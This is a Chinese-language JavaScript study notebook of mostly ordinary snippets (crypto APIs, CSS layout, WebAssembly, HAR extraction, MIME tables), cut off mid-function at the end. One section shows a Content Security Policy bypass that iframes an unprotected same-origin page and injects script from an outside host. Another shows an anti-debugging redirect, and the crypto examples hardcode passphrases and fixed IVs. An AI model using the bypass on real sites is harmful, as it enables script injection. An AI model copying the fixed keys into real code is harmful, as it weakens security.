JS学习笔记

RSA——cryptoJS

let { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 1024,
    publicKeyEncoding: {
        type: 'spki',
        format: 'pem'
    },
    privateKeyEncoding: {
        type: 'pkcs8',
        format: 'pem',
        cipher: 'aes-256-cbc',
        passphrase: 'usedforlogintoken'
    }
});
console.log(publicKey, privateKey);
console.log(JSON.stringify({ publicKey: publicKey, privateKey: privateKey }));
let token = {value:"66666"};
let crypted = crypto.privateEncrypt({
    key: privateKey.toString(),
    passphrase: 'usedforlogintoken',
}, Buffer.from(JSON.stringify(token))).toString("hex");
let datastr = crypto.publicDecrypt(publicKey.toString(), Buffer.from(crypted,"hex")).toString();
console.log(datastr);

AES——window.crypto与nodejs的crypto

let keyk = null;
window.crypto.subtle.importKey(
    "raw",
    (new TextEncoder()).encode("hdhrhbf82qo29dkd"),
    "AES-CBC",
    true,
    ["encrypt", "decrypt"]
).then(function (key) {
    keyk = key;
    return window.crypto.subtle.encrypt(
        { name: "AES-CBC", iv: (new TextEncoder()).encode("2022090515540000") },
        key,
        (new TextEncoder()).encode("66666"),
    );
}).then(function (buff) {
    var hex = Array.prototype.map.call(new Uint8Array(buff), x => ('00' + x.toString(16)).slice(-2)).join('');
    var typedArray = new Uint8Array(hex.match(/[\da-f]{2}/gi).map(function (h) {
        return parseInt(h, 16)
    }));
    buff = typedArray.buffer;
    console.log(hex);
    return window.crypto.subtle.decrypt(
        { name: "AES-CBC", iv: (new TextEncoder()).encode("2022090515540000") },
        keyk,
        buff
    );
}).then(function (res) {
    res = (new TextDecoder()).decode(res)
    console.log(res);
});
const crypto = require('crypto');
    const cipher = crypto.createCipheriv('aes-128-cbc', securityConfig.cipher.token, '2022090515540000');
    var crypted = cipher.update('666666', 'utf8', 'hex');
    crypted += cipher.final('hex');
    console.log(crypted);
    
    const decipher = crypto.createDecipheriv('aes-128-cbc', securityConfig.cipher.token, '2022090515540000');
    var data = decipher.update('74f2c91848352ebe76272fa3df7c064e', 'hex', 'utf8'); // 输入数据编码为hex(16进制),输出为utf8
    data += decipher.final('utf8');
    console.log(data);

RSA密钥对

//获取密钥对
function getRsaKeys(func){
    window.crypto.subtle.generateKey(
        {
            name: "RSA-OAEP",
            modulusLength: 2048, //can be 1024, 2048, or 4096
            publicExponent: new Uint8Array([0x01, 0x00, 0x01]),
            hash: {name: "SHA-512"}, //can be "SHA-1", "SHA-256", "SHA-384", or "SHA-512"
        },
        true, //whether the key is extractable (i.e. can be used in exportKey)
        ["encrypt", "decrypt"] //must be ["encrypt", "decrypt"] or ["wrapKey", "unwrapKey"]
    ).then(function(key){
        window.crypto.subtle.exportKey(
            "pkcs8", 
            key.privateKey 
        ).then(function(keydata1){
            window.crypto.subtle.exportKey(
                "spki",
                key.publicKey 
            ).then(function(keydata2){
                var privateKey = RSA2text(keydata1,1);
                var publicKey = RSA2text(keydata2);
                func(privateKey,publicKey);
            }).catch(function(err){
                console.error(err);
            });
        })
        .catch(function(err){
            console.error(err);
        });
    })
    .catch(function(err){
        console.error(err);
    });
}
function RSA2text(buffer,isPrivate=0) {
        var binary = '';
        var bytes = new Uint8Array(buffer);
        var len = bytes.byteLength;
        for (var i = 0; i < len; i++) {
            binary += String.fromCharCode(bytes[i]);
        }
        var base64 = window.btoa(binary);
        var text = "-----BEGIN "+(isPrivate?"PRIVATE":"PUBLIC")+" KEY-----\n";
        text += base64.replace(/[^\x00-\xff]/g,"$&\x01").replace(/.{64}\x01?/g,"$&\n");
        text += "\n-----END "+(isPrivate?"PRIVATE":"PUBLIC")+" KEY-----";
        return text;
}

目录读写

(async () => {
    try {
      const directoryHandle = await showDirectoryPicker({mode:"readwrite"});
      console.log(`${directoryHandle.name}:`,directoryHandle);
      for await (const [name, fileHandle] of directoryHandle) {
        console.log(' ', name, fileHandle.kind);
      }
      var newFile = await directoryHandle.getFileHandle("test.txt",{create:true});
      var newFileStream = await newFile.createWritable();
      await newFileStream.write('abc');
      await newFileStream.close();
    } catch (e) {
      console.log(e);
    }
  })();

修改背景svg图颜色

-webkit-mask: url(../image/setting.svg) no-repeat 0 0 / 100% 100%;
background-color: rgb(11, 131, 145);

WebAssembly

let binaryBuffer = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 7, 10, 1, 6, 97, 100, 100, 84, 119, 111, 0, 0, 10, 9, 1, 7, 0, 32, 0, 32, 1, 106, 11, 0, 10, 4, 110, 97, 109, 101, 2, 3, 1, 0, 0]);
let wasmModule = new WebAssembly.Module(binaryBuffer);
const wasmInstance = new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;
for (let i = 0; i < 10; i++) {
    console.log(addTwo(i, i));
}

编码

html中的unicode编码:(如:"&#20013;"="中"【此处的20013是10进制值】)

javascript内的unicode编码:("\u4E2D"="中","中".charCodeAt(0)=20013)

网页高清截屏

正常网页截屏像素较小,可将要截图的网页,用iframe嵌套起来再截屏。

<html>
    <head></head>
    <body style="margin: 0px;">
        <iframe src="index.html" style="width:1920px;height: 1080px;border: 0px;transform: scale(2);transform-origin: top left;"></iframe>
    </body>
</html>

假设原网页是按1920X1080设计的,用上面这个iframe套一下,设置放大2倍,然后利用浏览器的保存为图片功能,即可完成高清截屏。注意:有些浏览器跨域会出现渲染模糊,可以在devtools里改elements加iframe。
浏览器保存网页为图片
如果是google chrome,目前没有保存为图片功能,可以F12打开控制台,虚拟屏幕尺寸,按ctrl+shift+p搜索full运行截屏命令Capture full size screenshot,可获得更大尺寸的截图。
控制台截图
当然,如果页面本身有自适应能力,就不需要iframe了。可以直接用浏览器的放大功能(Ctrl+鼠标滚轮)或者虚拟分辨率,将页面设置为想要的大小,再用浏览器截图。
2022.01.28补充
偶然发现在右上角菜单,可以调整设备的像素比例,默认为2(这也是为什么用full截屏像素更高的原因);也有截屏的按钮,不用手动输命令。
经测,调整好页面显示,只要设置好合适的分辨率,就能截到质量不错的图。像我的电脑可以调到7680*4320,接近8K电视的画面,再高就会出现渲染不全。
在这里插入图片描述

clock时间类

function Clock(autoStart) {
    this.autoStart = (autoStart !== undefined) ? autoStart : true;
    this.startTime = 0;
    this.oldTime = 0;
    this.elapsedTime = 0;
    this.running = false;
}
Object.assign(Clock.prototype, {
    start: function () {
        this.startTime = (typeof performance === 'undefined' ? Date : performance).now(); // see #10732
        this.oldTime = this.startTime;
        this.elapsedTime = 0;
        this.running = true;
    },
    stop: function () {
        this.getElapsedTime();
        this.running = false;
        this.autoStart = false;
    },
    getElapsedTime: function () {
        this.getDelta();
        return this.elapsedTime;
    },
    getDelta: function () {
        var diff = 0;
        if (this.autoStart && !this.running) {
            this.start();
            return 0;
        }
        if (this.running) {
            var newTime = (typeof performance === 'undefined' ? Date : performance).now();

            diff = (newTime - this.oldTime) / 1000;
            this.oldTime = newTime;

            this.elapsedTime += diff;
        }
        return diff;
    }
});

绕过CSP

找到一个同域名但没有CSP的页面,用iframe嵌入,再在iframe中引入外部js

f=document.createElement("iframe");
f.id="pwn";
f.src="./1.txt";
f.onload=()=>{
    x=document.createElement('script');
    x.src='//www.123.com/csp/1.js';                  
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

CSP 防止跨域js注入 XSS

<?php
header("content-type: text/html; charset=utf-8");
//header("Content-Security-Policy:default-src 'self' www.soso.com; script-src 'self' libs.baidu.com 'unsafe-eval' 'unsafe-inline';report-uri /reporturl");
?>
<html>
    <head>
        <meta http-equiv="content-security-policy" content="default-src 'self' www.soso.com; script-src 'self' libs.baidu.com 'unsafe-eval' 'unsafe-inline';">
        <title>测试CSP</title>
    </head>
    <body>
        <button onclick="alert(1)">inline</button><!-- 需要'unsafe-inline' -->
        <script src="/js/jquery.min.js"></script><!--同域名外部JS需要 'self' -->
        <script src="http://libs.baidu.com/jqueryui/1.8.22/jquery-ui.min.js"></script><!--跨域名外部JS需要 域名 -->
        <script>
            /*代码块需要'unsafe-inline'*/
            console.log(1111);
        /*
        在控制台执行js,需要'unsafe-eval'
        eval("1+2")
        */
        </script>
        <iframe src="http://www.soso.com/"></iframe><!--跨域名外部frame需要 域名 -->
    </body>
</html>

改写原函数

    var _send = window.XMLHttpRequest.prototype.send;
    window.XMLHttpRequest.prototype.send = function () {
        return _send.apply(this, arguments);
    };

反调试

以下代码放到html,打开控制台跳转到指定页

let el = new Image();
Object.defineProperty(el,'id',{get: function(){ window.location.href="/" }});
console.log(el);

Ajax发送FormData

var formdata = new FormData();
formdata.append("file", input.files[0]);
$.ajax({
    url:"/buginfo/project/api/editorUpload",
    type:"POST",
    data:formdata,
    processData: false,//重要
    contentType: false,//重要
    dataType:"json",//接收json,可选
    success:function (res){
    }
});

inline-block 100% 不同行问题

原因是div之间的换行符有宽度,解决办法:1.不换行写;2.将父div字体大小设为0

文本两端对齐

    text-align: justify;
    text-align-last: justify;

WebRTC屏幕捕捉

<!DOCTYPE html>
<html>
<video id="test" autoplay></video>
<script>
    navigator.mediaDevices.getDisplayMedia({video:true}).then(stream => {
        document.getElementById("test").srcObject = stream; 
    }).catch(error => {
        console.log(error);
    });
    function stop(){
    	test.srcObject.getTracks().forEach(track => track.stop());
    }
</script>
</html>

锁定表头

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        * {
            padding: 0;
            margin: 0;
        }

        table {
            border-collapse: collapse;
            width: 100%;
        }
        th {
            border: 1px solid #e6e6e6;
            font-size: 16px;
            height: 30px;
            position: sticky;
            top: 0;
            background-color: rgb(207, 231, 179);
        }


        td {
            padding: 5px;
            border: 1px solid #e6e6e6;
            font-size: 14px;
            text-align: center;
        }

        tr:nth-child(2n+1) {
            background-color: #f2f2f2;
        }

        tr:hover {
            background-color: rgb(240, 249, 228);
            transition: .2s;
        }
    </style>
</head>

<body>
    <div style="width: 100%;">
        <table>
            <thead>
                <tr>
                    <th>序号</th>
                    <th>内容</th>
                </tr>
            </thead>
            <tbody>
                <tr>
                    <td>1</td>
                    <td>我只是用来测试的</td>
                </tr>
                <tr>
                    <td>2</td>
                    <td>我只是用来测试的</td>
                </tr>
                <tr>
                    <td>3</td>
                    <td>我只是用来测试的</td>
                </tr>
                <tr>
                    <td>4</td>
                    <td>我只是用来测试的</td>
                </tr>
                <tr>
                    <td>5</td>
                    <td>我只是用来测试的</td>
                </tr>
                <tr>
                    <td>6</td>
                    <td>我只是用来测试的</td>
                </tr>
                <tr>
                    <td>7</td>
                    <td>我只是用来测试的</td>
                </tr>
                <tr>
                    <td>8</td>
                    <td>我只是用来测试的</td>
                </tr>
            </tbody>
        </table>
    </div>
</body>

</html>

div高度与宽度保持相同

<html>
    <body>
        <style>
            .ui-square {
                width: 20vw;
                height: 20vw;
                background: green;
                display: inline-block;
            }
        </style>
        <div class="ui-square">
        </div>
    </body>
</html>

清除浮动

<html>
<head>
    <title>清除浮动</title>
</head>
<body>
    <div style="border: 1px solid black;overflow: hidden;">
        <div style="width: 100px;height: 100px;background-color: red;float: left;"></div>
        <div style="width: 100px;height: 100px;background-color: blue;float: right;"></div>
    </div>
    <div style="border: 1px solid black;">
        <div style="width: 100px;height: 100px;background-color: red;float: left;"></div>
        <div style="width: 100px;height: 100px;background-color: blue;float: right;"></div>
        <div style="width: 100px;height: 50px;background-color: burlywood;clear: both;"></div>
    </div>
    <style>
        .pp:after {
            content: '';
            display: block;
        }
        .pp{
            display: inline-table;
        }
    </style>
    <div class="pp" style="border: 1px solid black;width:300px;">
        <div style="width: 100px;height: 100px;background-color: red;float: left;"></div>
        <div style="width: 100px;height: 100px;background-color: blue;float: right;"></div>
    </div>
    <style>
        .qq:after {
            content: '';
            display: block;
            clear: both;
        }
    </style>
    <div class="qq" style="border: 1px solid black;">
        <div style="width: 100px;height: 100px;background-color: red;float: left;"></div>
        <div style="width: 100px;height: 100px;background-color: blue;float: right;"></div>
    </div>
</body>
</html>

效果:在这里插入图片描述

默哀灰style

{
	-webkit-filter:grayscale(100%);
	-moz-filter:grayscale(100%);
	-ms-filter:grayscale(100%);
	-o-filter:grayscale(100%);
	filter:grayscale(100%);
	filter:gray
}

保存单个response为文件

function download(dataURL) {
    var parts = dataURL.match(/data:([^;]*)(;charset=utf-8;base64)?,([0-9A-Za-z+/]+)/);
    if (parts && parts.length >= 3) {
        // Assume base64 encoding
        var binStr = atob(parts[3]);
        // Convert to binary in ArrayBuffer
        var buf = new ArrayBuffer(binStr.length);
        var view = new Uint8Array(buf);
        for (var i = 0; i < view.length; i++) view[i] = binStr.charCodeAt(i);
        // Create blob with mime type, create URL for it
        var blob = new Blob([view], {
            'type': parts[1]
        });
        var filename = Date.now() + "_" + parts[1].split("/")[1];
        var objectURL = window.URL.createObjectURL(blob);
        var link = document.createElement('a');
        link.style.display = 'none';
        link.innerText = filename;
        link.href = objectURL;
        link.setAttribute('download', filename);
        document.body.appendChild(link);
        link.click();
    } else {
        console.log("形如data:audio/mpeg;charset=utf-8;base64,");
    }
}

从har提取response为文件

var har = {har文件内容};//chrome调试network窗口,右键保存为har文件
var entries = har.log.entries;
var time = Date.now();
var exts = {
    "javascript": "js",
    "x-javascript": "js",
    "x-js": "js",
    "octet-stream": "mp4",
    "jpeg": "jpg",
    "plain": "txt",
    "svg+xml": "svg",
    "x-icon": "ico"
};
for (var i = 0; i < entries.length; i++) {
    if (entries[i].response.content.size > 0 && entries[i].response.content.text != undefined && entries[i].response.content.text != "") {
        var mType = entries[i].response.content.mimeType.split("/");
        if (exts[mType[1]] != undefined) mType[1] = exts[mType[1]];
        var filename = time + "_" + (10000 + i) + '.' + mType[1];
        var binStr;
        if (entries[i].response.content.encoding == "base64") {
            binStr = atob(entries[i].response.content.text);
        } else {
            binStr = entries[i].response.content.text;
        }
        var buf = new ArrayBuffer(binStr.length);
        var view = new Uint8Array(buf);
        for (var j = 0; j < view.length; j++) view[j] = binStr.charCodeAt(j);
        var blob = new Blob([view], {
            'type': entries[i].response.content.mimeType
        });
        var dataURL = window.URL.createObjectURL(blob);
        var link = document.createElement('a');
        link.style.display = 'none';
        link.innerText = filename;
        link.href = dataURL;
        link.setAttribute('download', filename);
        document.body.appendChild(link);
        link.click();
    }
}

后缀名json

var ext2type={"0.001":"application/x-001","0.301":"application/x-301","0.323":"text/h323","0.906":"application/x-906","0.907":"drawing/907",".a11":"application/x-a11",".acp":"audio/x-mei-aac",".ai":"application/postscript",".aif":"audio/aiff",".aifc":"audio/aiff",".aiff":"audio/aiff",".anv":"application/x-anv",".apk":"application/vnd.android.package-archive",".asa":"text/asa",".asf":"video/x-ms-asf",".asp":"text/asp",".asx":"video/x-ms-asf",".au":"audio/basic",".avi":"video/avi",".awf":"application/vnd.adobe.workflow",".biz":"text/xml",".bmp":"application/x-bmp",".bot":"application/x-bot",".c4t":"application/x-c4t",".c90":"application/x-c90",".cal":"application/x-cals",".cat":"application/vnd.ms-pki.seccat",".cdf":"application/x-netcdf",".cdr":"application/x-cdr",".cel":"application/x-cel",".cer":"application/x-x509-ca-cert",".cg4":"application/x-g4",".cgm":"application/x-cgm",".cit":"application/x-cit",".class":"java/*",".cml":"text/xml",".cmp":"application/x-cmp",".cmx":"application/x-cmx",".cot":"application/x-cot",".crl":"application/pkix-crl",".crt":"application/x-x509-ca-cert",".csi":"application/x-csi",".css":"text/css",".cut":"application/x-cut",".dbf":"application/x-dbf",".dbm":"application/x-dbm",".dbx":"application/x-dbx",".dcd":"text/xml",".dcx":"application/x-dcx",".der":"application/x-x509-ca-cert",".dgn":"application/x-dgn",".dib":"application/x-dib",".dll":"application/x-msdownload",".doc":"application/msword",".dot":"application/msword",".drw":"application/x-drw",".dtd":"text/xml",".dwf":"application/x-dwf",".dwg":"application/x-dwg",".dxb":"application/x-dxb",".dxf":"application/x-dxf",".edn":"application/vnd.adobe.edn",".emf":"application/x-emf",".eml":"message/rfc822",".ent":"text/xml",".epi":"application/x-epi",".eps":"application/postscript",".etd":"application/x-ebx",".exe":"application/x-msdownload",".fax":"image/fax",".fdf":"application/vnd.fdf",".fif":"application/fractals",".fo":"text/xml",".frm":"application/x-frm",".g4":"application/x-g4",".gbr":"application/x-gbr",".gif":"image/gif",".gl2":"application/x-gl2",".gp4":"application/x-gp4",".hgl":"application/x-hgl",".hmr":"application/x-hmr",".hpg":"application/x-hpgl",".hpl":"application/x-hpl",".hqx":"application/mac-binhex40",".hrf":"application/x-hrf",".hta":"application/hta",".htc":"text/x-component",".htm":"text/html",".html":"text/html",".htt":"text/webviewhtml",".htx":"text/html",".icb":"application/x-icb",".ico":"image/x-icon",".iff":"application/x-iff",".ig4":"application/x-g4",".igs":"application/x-igs",".iii":"application/x-iphone",".img":"application/x-img",".ins":"application/x-internet-signup",".ipa":"application/vnd.iphone",".isp":"application/x-internet-signup",".IVF":"video/x-ivf",".java":"java/*",".jfif":"image/jpeg",".jpe":"image/jpeg",".jpeg":"image/jpeg",".jpg":"image/jpeg",".js":"application/x-javascript",".jsp":"text/html",".la1":"audio/x-liquid-file",".lar":"application/x-laplayer-reg",".latex":"application/x-latex",".lavs":"audio/x-liquid-secure",".lbm":"application/x-lbm",".lmsff":"audio/x-la-lms",".ls":"application/x-javascript",".ltr":"application/x-ltr",".m1v":"video/x-mpeg",".m2v":"video/x-mpeg",".m3u":"audio/mpegurl",".m4e":"video/mpeg4",".mac":"application/x-mac",".man":"application/x-troff-man",".math":"text/xml",".mdb":"application/msaccess",".mfp":"application/x-shockwave-flash",".mht":"message/rfc822",".mhtml":"message/rfc822",".mi":"application/x-mi",".mid":"audio/mid",".midi":"audio/mid",".mil":"application/x-mil",".mml":"text/xml",".mnd":"audio/x-musicnet-download",".mns":"audio/x-musicnet-stream",".mocha":"application/x-javascript",".movie":"video/x-sgi-movie",".mp1":"audio/mp1",".mp2":"audio/mp2",".mp2v":"video/mpeg",".mp3":"audio/mp3",".mp4":"video/mpeg4",".mpa":"video/x-mpg",".mpd":"application/vnd.ms-project",".mpe":"video/x-mpeg",".mpeg":"video/mpg",".mpg":"video/mpg",".mpga":"audio/rn-mpeg",".mpp":"application/vnd.ms-project",".mps":"video/x-mpeg",".mpt":"application/vnd.ms-project",".mpv":"video/mpg",".mpv2":"video/mpeg",".mpw":"application/vnd.ms-project",".mpx":"application/vnd.ms-project",".mtx":"text/xml",".mxp":"application/x-mmxp",".net":"image/pnetvue",".nrf":"application/x-nrf",".nws":"message/rfc822",".odc":"text/x-ms-odc",".out":"application/x-out",".p10":"application/pkcs10",".p12":"application/x-pkcs12",".p7b":"application/x-pkcs7-certificates",".p7c":"application/pkcs7-mime",".p7m":"application/pkcs7-mime",".p7r":"application/x-pkcs7-certreqresp",".p7s":"application/pkcs7-signature",".pc5":"application/x-pc5",".pci":"application/x-pci",".pcl":"application/x-pcl",".pcx":"application/x-pcx",".pdf":"application/pdf",".pdx":"application/vnd.adobe.pdx",".pfx":"application/x-pkcs12",".pgl":"application/x-pgl",".pic":"application/x-pic",".pko":"application/vnd.ms-pki.pko",".pl":"application/x-perl",".plg":"text/html",".pls":"audio/scpls",".plt":"application/x-plt",".png":"image/png",".pot":"application/vnd.ms-powerpoint",".ppa":"application/vnd.ms-powerpoint",".ppm":"application/x-ppm",".pps":"application/vnd.ms-powerpoint",".ppt":"application/x-ppt",".pr":"application/x-pr",".prf":"application/pics-rules",".prn":"application/x-prn",".prt":"application/x-prt",".ps":"application/postscript",".ptn":"application/x-ptn",".pwz":"application/vnd.ms-powerpoint",".r3t":"text/vnd.rn-realtext3d",".ra":"audio/vnd.rn-realaudio",".ram":"audio/x-pn-realaudio",".ras":"application/x-ras",".rat":"application/rat-file",".rdf":"text/xml",".rec":"application/vnd.rn-recording",".red":"application/x-red",".rgb":"application/x-rgb",".rjs":"application/vnd.rn-realsystem-rjs",".rjt":"application/vnd.rn-realsystem-rjt",".rlc":"application/x-rlc",".rle":"application/x-rle",".rm":"application/vnd.rn-realmedia",".rmf":"application/vnd.adobe.rmf",".rmi":"audio/mid",".rmj":"application/vnd.rn-realsystem-rmj",".rmm":"audio/x-pn-realaudio",".rmp":"application/vnd.rn-rn_music_package",".rms":"application/vnd.rn-realmedia-secure",".rmvb":"application/vnd.rn-realmedia-vbr",".rmx":"application/vnd.rn-realsystem-rmx",".rnx":"application/vnd.rn-realplayer",".rp":"image/vnd.rn-realpix",".rpm":"audio/x-pn-realaudio-plugin",".rsml":"application/vnd.rn-rsml",".rt":"text/vnd.rn-realtext",".rtf":"application/x-rtf",".rv":"video/vnd.rn-realvideo",".sam":"application/x-sam",".sat":"application/x-sat",".sdp":"application/sdp",".sdw":"application/x-sdw",".sis":"application/vnd.symbian.install",".sisx":"application/vnd.symbian.install",".sit":"application/x-stuffit",".slb":"application/x-slb",".sld":"application/x-sld",".slk":"drawing/x-slk",".smi":"application/smil",".smil":"application/smil",".smk":"application/x-smk",".snd":"audio/basic",".sol":"text/plain",".sor":"text/plain",".spc":"application/x-pkcs7-certificates",".spl":"application/futuresplash",".spp":"text/xml",".ssm":"application/streamingmedia",".sst":"application/vnd.ms-pki.certstore",".stl":"application/vnd.ms-pki.stl",".stm":"text/html",".sty":"application/x-sty",".svg":"text/xml",".swf":"application/x-shockwave-flash",".tdf":"application/x-tdf",".tg4":"application/x-tg4",".tga":"application/x-tga",".tif":"image/tiff",".tiff":"image/tiff",".tld":"text/xml",".top":"drawing/x-top",".torrent":"application/x-bittorrent",".tsd":"text/xml",".txt":"text/plain",".uin":"application/x-icq",".uls":"text/iuls",".vcf":"text/x-vcard",".vda":"application/x-vda",".vdx":"application/vnd.visio",".vml":"text/xml",".vpg":"application/x-vpeg005",".vsd":"application/x-vsd",".vss":"application/vnd.visio",".vst":"application/x-vst",".vsw":"application/vnd.visio",".vsx":"application/vnd.visio",".vtx":"application/vnd.visio",".vxml":"text/xml",".wav":"audio/wav",".wax":"audio/x-ms-wax",".wb1":"application/x-wb1",".wb2":"application/x-wb2",".wb3":"application/x-wb3",".wbmp":"image/vnd.wap.wbmp",".wiz":"application/msword",".wk3":"application/x-wk3",".wk4":"application/x-wk4",".wkq":"application/x-wkq",".wks":"application/x-wks",".wm":"video/x-ms-wm",".wma":"audio/x-ms-wma",".wmd":"application/x-ms-wmd",".wmf":"application/x-wmf",".wml":"text/vnd.wap.wml",".wmv":"video/x-ms-wmv",".wmx":"video/x-ms-wmx",".wmz":"application/x-ms-wmz",".wp6":"application/x-wp6",".wpd":"application/x-wpd",".wpg":"application/x-wpg",".wpl":"application/vnd.ms-wpl",".wq1":"application/x-wq1",".wr1":"application/x-wr1",".wri":"application/x-wri",".wrk":"application/x-wrk",".ws":"application/x-ws",".ws2":"application/x-ws",".wsc":"text/scriptlet",".wsdl":"text/xml",".wvx":"video/x-ms-wvx",".x_b":"application/x-x_b",".x_t":"application/x-x_t",".xap":"application/x-silverlight-app",".xdp":"application/vnd.adobe.xdp",".xdr":"text/xml",".xfd":"application/vnd.adobe.xfd",".xfdf":"application/vnd.adobe.xfdf",".xhtml":"text/html",".xls":"application/x-xls",".xlw":"application/x-xlw",".xml":"text/xml",".xpl":"audio/scpls",".xq":"text/xml",".xql":"text/xml",".xquery":"text/xml",".xsd":"text/xml",".xsl":"text/xml",".xslt":"text/xml",".xwd":"application/x-xwd","":"application/octet-stream"};
var type2ext={"application/x-001":"0.001","application/x-301":"0.301","text/h323":"0.323","application/x-906":"0.906","drawing/907":"0.907","application/x-a11":".a11","audio/x-mei-aac":".acp","application/x-anv":".anv","application/vnd.android.package-archive":".apk","text/asa":".asa","text/asp":".asp","video/avi":".avi","application/vnd.adobe.workflow":".awf","application/x-bmp":".bmp","application/x-bot":".bot","application/x-c4t":".c4t","application/x-c90":".c90","application/x-cals":".cal","application/vnd.ms-pki.seccat":".cat","application/x-netcdf":".cdf","application/x-cdr":".cdr","application/x-cel":".cel","application/x-cgm":".cgm","application/x-cit":".cit","application/x-cmp":".cmp","application/x-cmx":".cmx","application/x-cot":".cot","application/pkix-crl":".crl","application/x-csi":".csi","text/css":".css","application/x-cut":".cut","application/x-dbf":".dbf","application/x-dbm":".dbm","application/x-dbx":".dbx","application/x-dcx":".dcx","application/x-dgn":".dgn","application/x-dib":".dib","application/x-drw":".drw","application/x-dwf":".dwf","application/x-dwg":".dwg","application/x-dxb":".dxb","application/x-dxf":".dxf","application/vnd.adobe.edn":".edn","application/x-emf":".emf","application/x-epi":".epi","application/x-ebx":".etd","image/fax":".fax","application/vnd.fdf":".fdf","application/fractals":".fif","application/x-frm":".frm","application/x-gbr":".gbr","image/gif":".gif","application/x-gl2":".gl2","application/x-gp4":".gp4","application/x-hgl":".hgl","application/x-hmr":".hmr","application/x-hpgl":".hpg","application/x-hpl":".hpl","application/mac-binhex40":".hqx","application/x-hrf":".hrf","application/hta":".hta","text/x-component":".htc","text/webviewhtml":".htt","application/x-icb":".icb","image/x-icon":".ico","application/x-iff":".iff","application/x-igs":".igs","application/x-iphone":".iii","application/x-img":".img","application/vnd.iphone":".ipa","video/x-ivf":".IVF","audio/x-liquid-file":".la1","application/x-laplayer-reg":".lar","application/x-latex":".latex","audio/x-liquid-secure":".lavs","application/x-lbm":".lbm","audio/x-la-lms":".lmsff","application/x-ltr":".ltr","audio/mpegurl":".m3u","application/x-mac":".mac","application/x-troff-man":".man","application/msaccess":".mdb","application/x-mi":".mi","application/x-mil":".mil","audio/x-musicnet-download":".mnd","audio/x-musicnet-stream":".mns","video/x-sgi-movie":".movie","audio/mp1":".mp1","audio/mp2":".mp2","audio/mp3":".mp3","video/x-mpg":".mpa","audio/rn-mpeg":".mpga","application/x-mmxp":".mxp","image/pnetvue":".net","application/x-nrf":".nrf","text/x-ms-odc":".odc","application/x-out":".out","application/pkcs10":".p10","application/x-pkcs7-certreqresp":".p7r","application/pkcs7-signature":".p7s","application/x-pc5":".pc5","application/x-pci":".pci","application/x-pcl":".pcl","application/x-pcx":".pcx","application/pdf":".pdf","application/vnd.adobe.pdx":".pdx","application/x-pgl":".pgl","application/x-pic":".pic","application/vnd.ms-pki.pko":".pko","application/x-perl":".pl","application/x-plt":".plt","image/png":".png","application/x-ppm":".ppm","application/x-ppt":".ppt","application/x-pr":".pr","application/pics-rules":".prf","application/x-prn":".prn","application/x-prt":".prt","application/x-ptn":".ptn","text/vnd.rn-realtext3d":".r3t","audio/vnd.rn-realaudio":".ra","application/x-ras":".ras","application/rat-file":".rat","application/vnd.rn-recording":".rec","application/x-red":".red","application/x-rgb":".rgb","application/vnd.rn-realsystem-rjs":".rjs","application/vnd.rn-realsystem-rjt":".rjt","application/x-rlc":".rlc","application/x-rle":".rle","application/vnd.rn-realmedia":".rm","application/vnd.adobe.rmf":".rmf","application/vnd.rn-realsystem-rmj":".rmj","application/vnd.rn-rn_music_package":".rmp","application/vnd.rn-realmedia-secure":".rms","application/vnd.rn-realmedia-vbr":".rmvb","application/vnd.rn-realsystem-rmx":".rmx","application/vnd.rn-realplayer":".rnx","image/vnd.rn-realpix":".rp","audio/x-pn-realaudio-plugin":".rpm","application/vnd.rn-rsml":".rsml","text/vnd.rn-realtext":".rt","application/x-rtf":".rtf","video/vnd.rn-realvideo":".rv","application/x-sam":".sam","application/x-sat":".sat","application/sdp":".sdp","application/x-sdw":".sdw","application/x-stuffit":".sit","application/x-slb":".slb","application/x-sld":".sld","drawing/x-slk":".slk","application/x-smk":".smk","application/futuresplash":".spl","application/streamingmedia":".ssm","application/vnd.ms-pki.certstore":".sst","application/vnd.ms-pki.stl":".stl","application/x-sty":".sty","application/x-tdf":".tdf","application/x-tg4":".tg4","application/x-tga":".tga","drawing/x-top":".top","application/x-bittorrent":".torrent","application/x-icq":".uin","text/iuls":".uls","text/x-vcard":".vcf","application/x-vda":".vda","application/x-vpeg005":".vpg","application/x-vsd":".vsd","application/x-vst":".vst","audio/wav":".wav","audio/x-ms-wax":".wax","application/x-wb1":".wb1","application/x-wb2":".wb2","application/x-wb3":".wb3","image/vnd.wap.wbmp":".wbmp","application/x-wk3":".wk3","application/x-wk4":".wk4","application/x-wkq":".wkq","application/x-wks":".wks","video/x-ms-wm":".wm","audio/x-ms-wma":".wma","application/x-ms-wmd":".wmd","application/x-wmf":".wmf","text/vnd.wap.wml":".wml","video/x-ms-wmv":".wmv","video/x-ms-wmx":".wmx","application/x-ms-wmz":".wmz","application/x-wp6":".wp6","application/x-wpd":".wpd","application/x-wpg":".wpg","application/vnd.ms-wpl":".wpl","application/x-wq1":".wq1","application/x-wr1":".wr1","application/x-wri":".wri","application/x-wrk":".wrk","text/scriptlet":".wsc","video/x-ms-wvx":".wvx","application/x-x_b":".x_b","application/x-x_t":".x_t","application/x-silverlight-app":".xap","application/vnd.adobe.xdp":".xdp","application/vnd.adobe.xfd":".xfd","application/vnd.adobe.xfdf":".xfdf","application/x-xls":".xls","application/x-xlw":".xlw","application/x-xwd":".xwd","application/octet-stream":"","application/postscript":".ps","audio/aiff":".aiff","video/x-ms-asf":".asf","audio/basic":".au","text/xml":".xml","application/x-x509-ca-cert":".cer","application/x-g4":".cg4","java/*":".class","application/x-msdownload":".exe","application/msword":".doc","message/rfc822":".eml","text/html":".html","application/x-internet-signup":".ins","image/jpeg":".jpg","application/x-javascript":".js","video/x-mpeg":".mpe","video/mpeg4":".mp4","application/x-shockwave-flash":".swf","audio/mid":".mid","video/mpeg":".mpeg","application/vnd.ms-project":".mpd","video/mpg":".mpg","application/x-pkcs12":".pfx","application/x-pkcs7-certificates":".p7b","application/pkcs7-mime":".p7c","audio/scpls":".pls","application/vnd.ms-powerpoint":".pot","audio/x-pn-realaudio":".ram","application/vnd.symbian.install":".sis","application/smil":".smi","text/plain":".txt","image/tiff":".tiff","application/vnd.visio":".vss","application/x-ws":".ws"};

下载文件

function downloadFile(url) 
{
